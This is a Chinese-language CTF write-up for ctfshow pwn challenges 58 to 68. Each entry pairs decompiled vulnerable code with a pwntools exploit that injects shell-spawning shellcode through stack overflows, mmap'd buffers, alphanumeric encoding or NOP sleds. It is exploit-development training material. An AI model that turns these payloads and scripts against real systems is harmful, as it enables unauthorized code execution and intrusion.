# 有所收获的题目:
pwn66 (shellcode 开头为 \x00
)
pwn67 (32 位 nop sled ->shellcode)
# pwn58(shellcode)
# 题目
题目描述: 32位 无限制
32 位程序,开启保护:
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x8048000)
RWX: Has RWX segments
有可执行段
main(反编译未成功):
这里提示 shellcode,然后执行了一个 ctfshow 函数
ctfshow:
int __cdecl ctfshow(char *s)
{
gets(s);
return puts(s);
}
一个 gets 函数,有可执行段,且没有开启 nx, 直接在栈上写入 shellcode,然后返回执行
这里看汇编发现 main 函数有个 call eax
gets 函数的参数地址是从主函数传参进去的,在 eax 中,后面 call eax,就直接执行了 eax,也就相当于执行了 shellcode
from pwn import * | |
from LibcSearcher import * | |
#context.log_level = 'debug' | |
context(os='linux', arch='i386', log_level='debug') | |
#p=process('./') | |
#e=ELF('./') | |
p=remote("pwn.challenge.ctf.show",28135) | |
shellcode = asm(shellcraft.sh()) | |
payload1=shellcode | |
p.sendline(payload1) | |
p.interactive() |
# pwn59(shellcode)
# 题目
题目描述: 64位 无限制
64 位程序,没有 nx
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x400000)
RWX: Has RWX segments
与上一题相同,仍然是一个 gets 函数, call rdx
利用 64 位 shellcode 即可
from pwn import * | |
from LibcSearcher import * | |
#context.log_level = 'debug' | |
context(os='linux', arch='amd64', log_level='debug') | |
#p=process('./') | |
#e=ELF('./') | |
#p=remote('node4.buuoj.cn',28249) | |
p=remote("pwn.challenge.ctf.show",28127) | |
shellcode = asm(shellcraft.sh()) | |
p.recvuntil("") | |
payload1=shellcode | |
p.sendline(payload1) | |
p.interactive() |
# pwn60(shellcode)
# 题目
题目内容: 入门难度shellcode
32 位程序,没有开启 NX
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x8048000)
RWX: Has RWX segments
main:
int __cdecl main(int argc, const char **argv, const char **envp) | |
{ | |
char s[100]; // [esp+1Ch] [ebp-64h] BYREF | |
setvbuf(stdout, 0, 2, 0); | |
setvbuf(stdin, 0, 1, 0); | |
puts("CTFshow-pwn can u pwn me here!!"); | |
gets(s); | |
strncpy(buf2, s, 0x64u); | |
printf("See you ~"); | |
return 0; | |
} |
这里会将 gets 的函数复制到 buf2,buf2 在 bss 段,查看一下可执行权限:
居然没有可执行权限....
查看 wp 后发现,用 ubuntu18.02 发现有执行权限...
然后输入 shellcode,再溢出返回到 buf2 即可执行
偏移为 112,ida 好像有误:
exp:
from pwn import * | |
from LibcSearcher import * | |
#context.log_level = 'debug' | |
context(os='linux', arch='i386', log_level='debug') | |
p=remote("pwn.challenge.ctf.show",28244) | |
shellcode = asm(shellcraft.sh()) | |
buf2=0x804A080 | |
p.recvuntil("me here!!\n") | |
payload1=shellcode.ljust(112,b"a")+p32(buf2) | |
p.sendline(payload1) | |
p.interactive() |
# pwn61(shellcode)
# 题目:
题目描述: 输出了什么?
64 位程序:
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX disabled
PIE: PIE enabled
RWX: Has RWX segments
可以看到开启了 pie, 地址都进行了改变
int __cdecl main(int argc, const char **argv, const char **envp) | |
{ | |
FILE *v3; // rdi | |
__int64 v5[2]; // [rsp+0h] [rbp-10h] BYREF | |
v5[0] = 0LL; | |
v5[1] = 0LL; | |
v3 = _bss_start; | |
setvbuf(_bss_start, 0LL, 1, 0LL); | |
logo(v3, 0LL); | |
puts("Welcome to CTFshow!"); | |
printf("What's this : [%p] ?\n", v5); | |
puts("Maybe it's useful ! But how to use it?"); | |
gets(v5); | |
return 0; | |
} |
这里打印了 v5 的栈地址,没有开启 nx,可以写入 shellcode 然后返回到 v5 执行
可以写入的 shellcode 为 0x10+8(24 字节)
这里不能直接写 shellcode 进入栈内,因为后面会执行 leave 命令,会导致重置,那么就无法执行 shellcode,需要溢出写到栈的后面
所以栈内的 24 字节无法使用,溢出到后面即可,返回地址要 栈地址+32(24+ret的8字节)
from pwn import * | |
from LibcSearcher import * | |
#context.log_level = 'debug' | |
context(os='linux', arch='i386', log_level='debug') | |
p=process('./pwn61') | |
#p=remote("pwn.challenge.ctf.show",28244) | |
shellcode =b"\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\xb0\x3b\x99\x0f\x05"# 22bytes | |
p.recvuntil("What's this : [") | |
v5=int(p.recv(14),16) | |
print("shellcode:",len(shellcode)) | |
print("v5:",hex(v5)) | |
p.recvuntil("But how to use it?\n") | |
payload1=b"a"*24+p64(v5+32)+shellcode | |
p.sendline(payload1) | |
p.interactive() |
# pwn62(shellcode)
# 题目
题目描述: 短了一点
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX disabled
PIE: PIE enabled
RWX: Has RWX segments
int __cdecl main(int argc, const char **argv, const char **envp) | |
{ | |
FILE *v3; // rdi | |
__int64 buf[2]; // [rsp+0h] [rbp-10h] BYREF | |
buf[0] = 0LL; | |
buf[1] = 0LL; | |
v3 = _bss_start; | |
setvbuf(_bss_start, 0LL, 1, 0LL); | |
logo(v3, 0LL); | |
puts("Welcome to CTFshow!"); | |
printf("What's this : [%p] ?\n", buf); | |
puts("Maybe it's useful ! But how to use it?"); | |
read(0, buf, 0x38uLL); | |
return 0; | |
} |
与上面的题一样,只不过这次限制了只能读入 0x38 字节(56),栈空间 24,返回地址 8 不可用,所以最大写入的 shellcode 长度为 56-24-8=24,上道题用的 22 字节的 shellcode,所以可以直接用
from pwn import *
from LibcSearcher import *
#context.log_level = 'debug'
context(os='linux', arch='i386', log_level='debug')
p=remote("pwn.challenge.ctf.show",28188)
shellcode =b"\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\xb0\x3b\x99\x0f\x05"# 22bytes
p.recvuntil("What's this : [")
v5=int(p.recv(14),16)
print("shellcode:",len(shellcode))
print("v5:",hex(v5))
p.recvuntil("But how to use it?\n")
payload1=b"a"*24+p64(v5+32)+shellcode
p.sendline(payload1)
p.interactive()
# pwn63(shellcode)
# 题目
题目描述: 又短了一点
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX disabled
PIE: PIE enabled
RWX: Has RWX segments
int __cdecl main(int argc, const char **argv, const char **envp) | |
{ | |
FILE *v3; // rdi | |
__int64 buf[2]; // [rsp+0h] [rbp-10h] BYREF | |
buf[0] = 0LL; | |
buf[1] = 0LL; | |
v3 = _bss_start; | |
setvbuf(_bss_start, 0LL, 1, 0LL); | |
logo(v3, 0LL); | |
puts("Welcome to CTFshow!"); | |
printf("What's this : [%p] ?\n", buf); | |
puts("Maybe it's useful ! But how to use it?"); | |
read(0, buf, 0x37uLL); | |
return 0; | |
} |
这次 0x37 字节,上面的 exp 仍然能满足
from pwn import * | |
from LibcSearcher import * | |
#context.log_level = 'debug' | |
context(os='linux', arch='i386', log_level='debug') | |
p=remote("pwn.challenge.ctf.show",28213) | |
shellcode =b"\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\xb0\x3b\x99\x0f\x05"# 22bytes | |
p.recvuntil("What's this : [") | |
v5=int(p.recv(14),16) | |
print("shellcode:",len(shellcode)) | |
print("v5:",hex(v5)) | |
p.recvuntil("But how to use it?\n") | |
payload1=b"a"*24+p64(v5+32)+shellcode | |
p.sendline(payload1) | |
p.interactive() |
# pwn64(shellcode)
# 题目:
题目描述: 有时候开启某种保护并不代表这条路不通
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
32 位程序,开启了 NX
main:
int __cdecl main(int argc, const char **argv, const char **envp) | |
{ | |
void *buf; // [esp+8h] [ebp-10h] | |
buf = mmap(0, 0x400u, 7, 34, 0, 0); | |
alarm(0xAu); | |
setvbuf(stdout, 0, 2, 0); | |
setvbuf(_bss_start, 0, 2, 0); | |
puts("Some different!"); | |
if ( read(0, buf, 0x400u) < 0 ) | |
{ | |
puts("Illegal entry!"); | |
exit(1); | |
} | |
((void (*)(void))buf)(); | |
return 0; | |
} |
这里调用了一个 mmap函数
,进行内存映射,并且其有执行权限(7),将其地址给 buf,后面调用 read 函数可以写入数据到 buf,当 read>0 时就会执行 buf
所以这里在 buf 里写入 shellcode 即可
from pwn import * | |
from LibcSearcher import * | |
#context.log_level = 'debug' | |
context(os='linux', arch='i386', log_level='debug') | |
p=remote("pwn.challenge.ctf.show",28112) | |
shellcode = asm(shellcraft.sh()) | |
p.recvuntil("") | |
p.sendline(shellcode) | |
p.recvuntil("") | |
p.interactive() |
# pwn65(字符串显示的 shellcode 及汇编分析)
# 题目
题目描述: 你是一个好人
64 位程序,开启了 IPE
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX disabled
PIE: PIE enabled
RWX: Has RWX segments
反汇编失败
大概的执行逻辑:
[rbp+var_4]
是存放当前比较字符串的偏移值, [rbp+var_4]
存放字符串的总长度,这里 eax 存放读入的长度是通过 gdb 调试得出:
输入了字符串 aaa
后变成了 4( aaa\n
)
逻辑上判断是否是在 0x61~0x7A(a-z)
, 再判断 0x41~0x5A(A-Z)
, 0x30~0x5a(0-Z)
所以 shellcode 是需要由大小写字母及数字构成
利用 alpha3 生成
python ./ALPHA3.py x64 ascii mixedcase rax --input="shellcode" > mixedcase.txt
这里的参数 rax 是需要填入执行 shellcode 的那个寄存器(call rax)
生成的 shellcode:
shellcode=Ph0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M2G0Z2o4H0u0P160Z0g7O0Z0C100y5O3G020B2n060N4q0n2t0B0001010H3S2y0Y0O0n0z01340d2F4y8P115l1n0J0h0a070t
exp:
from pwn import * | |
from LibcSearcher import * | |
context(os='linux', arch='amd64', log_level='debug') | |
e=ELF('./pwn44') | |
p=remote("pwn.challenge.ctf.show",28292) | |
shellcode="Ph0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M2G0Z2o4H0u0P160Z0g7O0Z0C100y5O3G020B2n060N4q0n2t0B0001010H3S2y0Y0O0n0z01340d2F4y8P115l1n0J0h0a070t" | |
p.send(shellcode) | |
p.interactive() |
# pwn66 (shellcode 开头为 \x00
)
# 题目:
题目描述: 简单的shellcode?不对劲,十分得有十二分的不对劲
64 位程序:
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
int __cdecl main(int argc, const char **argv, const char **envp) | |
{ | |
_BYTE *buf; // [rsp+8h] [rbp-8h] | |
init(argc, argv, envp); | |
logo(); | |
buf = mmap(0LL, 0x1000uLL, 7, 34, 0, 0LL); | |
puts("Your shellcode is :"); | |
read(0, buf, 0x200uLL); | |
if ( !(unsigned int)check(buf) ) | |
{ | |
printf(" ERROR !"); | |
exit(0); | |
} | |
((void (__fastcall *)(_BYTE *))buf)(buf); | |
return 0; | |
} |
仍然是写入 shellcode,但是这里有一个 check:
__int64 __fastcall check(_BYTE *a1) | |
{ | |
_BYTE *i; // [rsp+18h] [rbp-10h] | |
while ( *a1 ) | |
{ | |
for ( i = &unk_400F20; *i && *i != *a1; ++i ) | |
; | |
if ( !*i ) | |
return 0LL; | |
++a1; | |
} | |
return 1LL; | |
} |
我们要使他返回 1 才能顺利执行 shellcode,所以要跳出循环,*a1=0 就可以跳出,所以我们的 shellcode 第一个字节要为 \x00
,利用脚本查找第一个字节为 \x00
的指令
from pwn import * | |
from itertools import * | |
import re | |
for i in range(1,3): | |
for j in product([p8(k) for k in range(256)],repeat=i):#there are as well as twice 'for()',it | |
payload=b'\x00'+b"".join(j) | |
p=disasm(payload) | |
if( | |
p !=" ..." | |
and not re.search(r"\[\w*?\]",p) | |
and ".byte" not in p): | |
print(p) | |
#input() |
from pwn import * | |
from LibcSearcher import * | |
#context.log_level = 'debug' | |
context(os='linux', arch='amd64', log_level='debug') | |
#p=process('./') | |
#e=ELF('./') | |
#p=remote('node4.buuoj.cn',28249) | |
p=remote("pwn.challenge.ctf.show",28293) | |
shellcode = asm(shellcraft.sh()) | |
p.recvuntil("") | |
p.sendline(b'\x00'+b'\xc0'+shellcode) | |
p.recvuntil("") | |
p.interactive() |
# pwn67 (nop sled ->shellcode)
# 1. 题目
题目描述: 32bit nop sled
32 位程序,有可执行段,但是有 canary
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX disabled
PIE: No PIE (0x8048000)
RWX: Has RWX segments
main函数:
// bad sp value at call has been detected, the output may be wrong! | |
int __cdecl main(int argc, const char **argv, const char **envp) | |
{ | |
int v3; // eax | |
void (*v5)(void); // [esp+0h] [ebp-1010h] BYREF | |
unsigned int seed[1027]; // [esp+4h] [ebp-100Ch] BYREF | |
seed[1025] = (unsigned int)&argc; | |
seed[1024] = __readgsdword(0x14u); | |
setbuf(stdout, 0); | |
logo(); | |
srand((unsigned int)seed); | |
Loading(); | |
acquire_satellites(); | |
v3 = query_position(); | |
printf("We need to load the ctfshow_flag.\nThe current location: %p\n", v3); | |
printf("What will you do?\n> "); | |
fgets((char *)seed, 4096, stdin); | |
printf("Where do you start?\n> "); | |
__isoc99_scanf("%p", &v5); | |
v5(); | |
return 0; | |
} |
Loading 函数和 acquire_satellites () 函数就是起一个等待的作用,没什么用
query_position()函数:
char *query_position() | |
{ | |
char v1; // [esp+3h] [ebp-15h] BYREF | |
int v2; // [esp+4h] [ebp-14h] | |
char *v3; // [esp+8h] [ebp-10h] | |
unsigned int v4; // [esp+Ch] [ebp-Ch] | |
v4 = __readgsdword(0x14u); | |
v2 = rand() % 1337 - 668; | |
v3 = &v1 + v2; | |
return &v1 + v2; | |
} |
在 main 函数会给我们一个被偏移过的栈地址(v3),然后让我们输入 seed,利用最后的 __isoc99_scanf("%p", &v5);
让我们输入地址,然后就执行这个地方的命令
# 2. 漏洞分析
在 query_position 函数里,返回的值是 v1 的地址 + v2 这个随机数,v1 是栈上的地址,那么就能通过大致计算出 v1 的地址来确定我们需要执行的 shellcode 的输入位置,但是无法准确的计算出 shellcode 的地址,那么就需要利用 nop sled
(空操作雪橇),下滑到 shellcode 的位置执行
具体 sled
操作需要利用汇编来看:
.text:08048945 ; __unwind {
.text:08048945 lea ecx, [esp+4]
.text:08048949 and esp, 0FFFFFFF0h
.text:0804894C push dword ptr [ecx-4]
.text:0804894F push ebp
.text:08048950 mov ebp, esp
.text:08048952 push ebx
.text:08048953 push ecx
.text:08048954 sub esp, 1010h
.text:0804895A call __x86_get_pc_thunk_bx
.text:0804895F add ebx, (offset _GLOBAL_OFFSET_TABLE_ - $)
.text:08048965 mov eax, large gs:14h
.text:0804896B mov [ebp+var_C], eax
.text:0804896E xor eax, eax
.text:08048970 mov eax, ds:(stdout_ptr - 804B000h)[ebx]
.text:08048976 mov eax, [eax]
.text:08048978 sub esp, 8
.text:0804897B push 0 ; buf
.text:0804897D push eax ; stream
.text:0804897E call _setbuf
.text:08048983 add esp, 10h
.text:08048986 call logo
.text:0804898B lea eax, [ebp+seed]
.text:08048991 sub esp, 0Ch
.text:08048994 push eax ; seed
.text:08048995 call _srand
.text:0804899A add esp, 10h
.text:0804899D call Loading
.text:080489A2 call acquire_satellites
.text:080489A7 call query_position
.text:080489AC sub esp, 8
.text:080489AF push eax
.text:080489B0 lea eax, (aWeNeedToLoadTh - 804B000h)[ebx] ; "We need to load the ctfshow_flag.\nThe "...
.text:080489B6 push eax ; format
.text:080489B7 call _printf
.text:080489BC add esp, 10h
.text:080489BF sub esp, 0Ch
.text:080489C2 lea eax, (aWhatWillYouDo - 804B000h)[ebx] ; "What will you do?\n> "
.text:080489C8 push eax ; format
.text:080489C9 call _printf
.text:080489CE add esp, 10h
.text:080489D1 mov eax, ds:(stdin_ptr - 804B000h)[ebx]
.text:080489D7 mov eax, [eax]
.text:080489D9 sub esp, 4
.text:080489DC push eax ; stream
.text:080489DD push 1000h ; n
.text:080489E2 lea eax, [ebp+seed]
.text:080489E8 push eax ; s
.text:080489E9 call _fgets
.text:080489EE add esp, 10h
.text:080489F1 sub esp, 0Ch
.text:080489F4 lea eax, (aWhereDoYouStar - 804B000h)[ebx] ; "Where do you start?\n> "
.text:080489FA push eax ; format
.text:080489FB call _printf
.text:08048A00 add esp, 10h
.text:08048A03 sub esp, 8
.text:08048A06 lea eax, [ebp+var_1010]
.text:08048A0C push eax
.text:08048A0D lea eax, (aP - 804B000h)[ebx] ; "%p"
.text:08048A13 push eax
.text:08048A14 call ___isoc99_scanf
.text:08048A19 add esp, 10h
.text:08048A1C mov eax, [ebp+var_1010]
.text:08048A22 call eax
.text:08048A24 mov eax, 0
.text:08048A29 mov edx, [ebp+var_C]
.text:08048A2C xor edx, large gs:14h
.text:08048A33 jz short loc_8048A3A
.text:08048A35 call __stack_chk_fail_local
首先 push ebp
使 esp-4;然后 push ebx; push ecx;
esp 变为:esp-4-4-4;接着 sub esp,0x1010
使 esp-4-4-4-0x1010;然后有 sub esp,8;push 0;push eax;
使 esp-4-4-4-0x1010-8-4-4;在 call _setbuf 的下一条指令有 add esp,0x10
使 esp-4-4-4-0x1010-8-4-4+0x10;后面有 sub esp,0xc
使 esp-4-4-4-0x1010-8-4-4+0x10-0xc;然后 push eax ; ... ; add esp,0x10
使 esp-4-4-4-0x1010-8-4-4+0x10-0xc-4+0x10=esp-0x101c;【这里到了 query_position
】
后面的其实已经不用算了:接着 sub esp,8,push eax; ... ; push eax;
使 esp-4-4-4-0x1010-8-4-4+0x10-0xc-4+0x10-0x8-4-4=esp-0x102c,到了第一个 call printf 下面 add esp,0x10;sub esp,0xc ;... ; push eax
使 esp=esp-0x102c+0x10-0xc-4 ; 第二个 call printf 下面 add esp,0x10; ... ; sub esp,4; push eax;push 1000h; ... ; push eax
esp=esp-0x102c+0x10-0xc-4+0x10-4-4-4-4=esp-0x102c;到了 call fgets 下面 add esp ,0x10; sub esp ,0xc ; push eax;
esp=esp-0x102c+0x10-0xc-4=esp -0x102c;在最后一个 call printf 下 add esp,0x10; sub esp ,8;...; push eax; push eax;
esp=esp-0x102c+0x10-8-4-4=0x102c ; 最后的 call scanf add esp ,0x10
esp=esp-0x102c+0x10=esp-0x101c
而 输入的 seed 距离 main 的 ebp 为 0x100c
我们能通过 v1 的地址来得到 seed 的地址,而函数给我们输出了 v1地址+一个随机数的值
,这个随机数是 v2 = rand() % 1337 - 668;
【-668~688】,意味着 v1的地址-最大的可能668-与seed的偏移
就一定会在输入的 seed 中:
x=&v1+random(x 为给出来的地址)
seed=&v1+0x29(0x1035-0x100c=0x29//0x2c?)
seed=x-random+0x29【只要假设 减掉的
random 最大,也就是 seed 地址处于最高地址的情况(random 取 负668
)】
seed=x+668+0x29
但是如果这个地方不是我们真的存放 shellcode 的位置,那么可能无法执行 shellcode(因为是假设 seed 为所在范围最高的地址),我们要保障输入的 shellcode 一定要超过这个位置,以免真实地址大于我们输入的 shellcode 的地址;
因为 seed 可能的最低地址为 seed=x-668+0x29
所以我们需要在这个区间内利用 nop
命令来填充 1136 个字节(第 1137 个可以刚好执行,并且可以输入 4096 个字节,不用担心大小不够),以确保能够执行在这个 范围外(指seed的最低地址与最高地址)
部的 shellcode
【这个地方也就是意味着计算出来的 seed 在这个范围内都有可能,那么我们就必须保障 shellcode 超出这个范围,因为执行的 v5 地址在 shellcode 后面或者中间,就无法正确 getshell】
from pwn import * | |
from LibcSearcher import * | |
#context.log_level = 'debug' | |
context(os='linux', arch='i386', log_level='debug') | |
p=remote("pwn.challenge.ctf.show",28112) | |
shellcode = asm(shellcraft.sh()) | |
p.recvuntil("The current location: ") | |
addr=int(p.recv(10),16) | |
print("addr:",addr) | |
p.recvuntil("> ") | |
p.sendline(b'\x90'*1136+shellcode) | |
p.recvuntil("> ") | |
p.sendline(hex(addr+668+0x2d)) | |
p.interactive() |
参考:
https://blog.csdn.net/weixin_52635170/article/details/131985518
# pwn68(64 位 sled ->shellcode)
# 题目描述:
题目描述: 64bit nop sled
64 位程序
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX disabled
PIE: No PIE (0x400000)
RWX: Has RWX segments
int __cdecl main(int argc, const char **argv, const char **envp) | |
{ | |
char *v3; // rax | |
void (*v5)(void); // [rsp+8h] [rbp-1018h] BYREF | |
char seed[4104]; // [rsp+10h] [rbp-1010h] BYREF | |
unsigned __int64 v7; // [rsp+1018h] [rbp-8h] | |
v7 = __readfsqword(0x28u); | |
setbuf(stdout, 0LL); | |
logo(); | |
srand((unsigned int)seed); | |
Loading(); | |
acquire_satellites(); | |
v3 = query_position(); | |
printf("We need to load the ctfshow_flag.\nThe current location: %p\n", v3); | |
printf("What will you do?\n> "); | |
fgets(seed, 4096, stdin); | |
printf("Where do you start?\n> "); | |
__isoc99_scanf("%p", &v5); | |
v5(); | |
return 0; | |
} |
char *query_position() | |
{ | |
char v1; // [rsp+Bh] [rbp-15h] BYREF | |
int v2; // [rsp+Ch] [rbp-14h] | |
v2 = rand() % 1337 - 668; | |
return &v1 + v2; | |
} |
与上一题基本相同,只是这次变成了 64 位了,所以一个字就变成了 8 字节
根据汇编,一直到 call query_position
计算栈的情况
函数栈的位置:esp=esp-8-0x1020
然后 seed 在 rbp-0x1010 处,v5 在 rbp-0x1018 处
可以得出结构:
得到的地址是 v1 地址 + 一个随机数(-668~668),我们所要填充的 shellcode 的地址要绕过这些随机的可能地址,所以要选择一个最高的地址()
x=v1+random;
seed=v1+0x35;
seed=x-random+0x35
【这里取 seed 的最大地址,因为要执行的 seed 被假设为可能范围内最大的地址,这样 shelldode 一定在外部】
所以 seed 可能的取值为 seed =x-668+0x35
到 seed=x+668+0x35
, 所以要跨越这个区间(1336 保障了一定能越过 seed 的最大地址),在区间外部的地址输入 shellcode 就行(需要利用 nop
来 sled)
from pwn import * | |
from LibcSearcher import * | |
#context.log_level = 'debug' | |
context(os='linux', arch='amd64', log_level='debug') | |
p=remote("pwn.challenge.ctf.show",28205) | |
shellcode = asm(shellcraft.sh()) | |
p.recvuntil("The current location: ") | |
addr=int(p.recv(14),16) | |
print("addr:",addr) | |
p.recvuntil("> ") | |
p.sendline(b'\x90'*1336+shellcode) | |
p.recvuntil("> ") | |
p.sendline(hex(addr+668+0x35)) | |
p.interactive() |